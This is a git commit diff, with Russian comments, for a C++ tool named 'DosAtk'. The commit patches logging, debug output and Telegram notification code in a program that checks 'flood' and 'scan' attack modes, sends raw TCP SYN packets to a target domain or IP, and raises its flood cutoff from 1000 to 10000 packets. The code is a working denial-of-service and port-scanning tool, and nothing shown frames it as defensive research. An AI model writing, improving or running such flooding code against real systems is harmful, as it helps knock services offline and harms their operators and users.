fix: log and msg core dumped

This commit is contained in:
root 2025-05-02 20:12:39 +03:00
parent de3085f043
commit 6f02ff355e
1 changed files with 68 additions and 31 deletions

View File

@ -116,6 +116,19 @@ int my_check_params()
std::localtime(&now_time_t)->tm_sec, // Секунды
ms.count()); // Миллисекунды
char buffer[100];
snprintf(buffer, sizeof(buffer),
"Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld",
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца
std::localtime(&now_time_t)->tm_hour, // Часы
std::localtime(&now_time_t)->tm_min, // Минуты
std::localtime(&now_time_t)->tm_sec, // Секунды
ms.count()); // Миллисекунды
log_msg = std::string(buffer);
// Обрабатываем аргументы командной строки с помощью getopt_long
// Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций)
while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) {
@ -142,37 +155,42 @@ int my_check_params()
telegram_token = optarg; // Сохраняем токен бота Telegram
break;
case 'h': // Обработка опции -h (--help)
printf("end my_check_params\n"); // debug
return 0; // Устанавливаем статус "показать справку"
break;
case '?': // Обработка неизвестной опции
printf("end my_check_params\n"); // debug
return -101; // Устанавливаем статус "неизвестная опция"
break;
}
}
if (status != 0 && status != -101) // Проверяем корректность введенных параметров
{
if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
printf("end my_check_params\n"); // debug
return -1; // Некорректный тип атаки
}
else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
printf("end my_check_params\n"); // debug
return -10; // Не указана цель для сканирования
}
else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
printf("end my_check_params\n"); // debug
return -20; // Не указана цель для флуда
}
else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id
(telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token
printf("end my_check_params\n"); // debug
return -600; // Неполные данные для Telegram
}
else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
printf("end my_check_params\n"); // debug
return 1; // Валидные параметры для сканирования
}
else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
printf("end my_check_params\n"); // debug
return 2; // Валидные параметры для флуда
}
}
printf("end my_check_params\n"); // debug
@ -369,7 +387,7 @@ bool is_numeric(const std::string& s)
int my_msg()
{
printf("begin my_msg"); // debug
printf("begin my_msg\n"); // debug
// Объявление
struct curl_slist* headers; // Заголовки HTTP-запроса
@ -392,7 +410,7 @@ int my_msg()
// Проверка наличия обязательных параметров Telegram
if (telegram_token.empty() || telegram_id.empty())
{
status = 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
}
if (!curl)
@ -446,7 +464,7 @@ int my_msg()
status = 4; // Ошибка сервера
}
printf("end my_msg"); // debug
printf("end my_msg\n"); // debug
return status;
}
@ -576,6 +594,8 @@ void my_fin()
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl;
log_msg = "";
// Завершаем программу с кодом состояния
std::exit(status);
}
@ -589,7 +609,7 @@ int my_tcp_syn() {
* -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета
*/
printf("start my_tcp_syn"); // debug
printf("start my_tcp_syn\n"); // debug
// === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов
@ -705,18 +725,23 @@ int my_tcp_syn() {
if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++;
printf("end my_tcp_syn\n"); // debug
log_msg = "Failed to send tcp syn msg";
return -202;
} else {
n_ok_requests++;
}
// 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 1000) {
if ((n_ok_requests + n_fail_requests) >= 10000) {
log_msg = "Sent 10000 requests, stopping attack";
printf("end my_tcp_syn\n"); // debug
return 2;
}
close(sock);
printf("end my_tcp_syn"); // debug
printf("end my_tcp_syn\n"); // debug
log_msg = "Sent tcp syn msg";
return 0;
}
@ -751,11 +776,18 @@ int my_dns()
headers = {0};
json_data = {0};
printf("start my_dns"); // debug
printf("start my_dns\n"); // debug
if (!ip.empty())
{
printf("end my_dns\n"); // debug
return 0;
}
// Инициализируем curl
curl = curl_easy_init();
if (!curl) {
if (!curl)
{
status = -4001;
}
else {
@ -803,7 +835,7 @@ int my_dns()
status = 1;
}
printf("end my_dns"); // debug
printf("end my_dns\n"); // debug
return status;
}
@ -839,6 +871,11 @@ int main(int arg_ctr, char **arg_ptr)
status = my_check_params(); // Проверяем параметры командной строки
if (my_log()) // Если записать лог не удалось
{
my_msg(); // Отправляем сообщение
}
switch (status) // Обрабатываем результат проверки параметров
{
case 1: // Режим сканирования портов (UDP)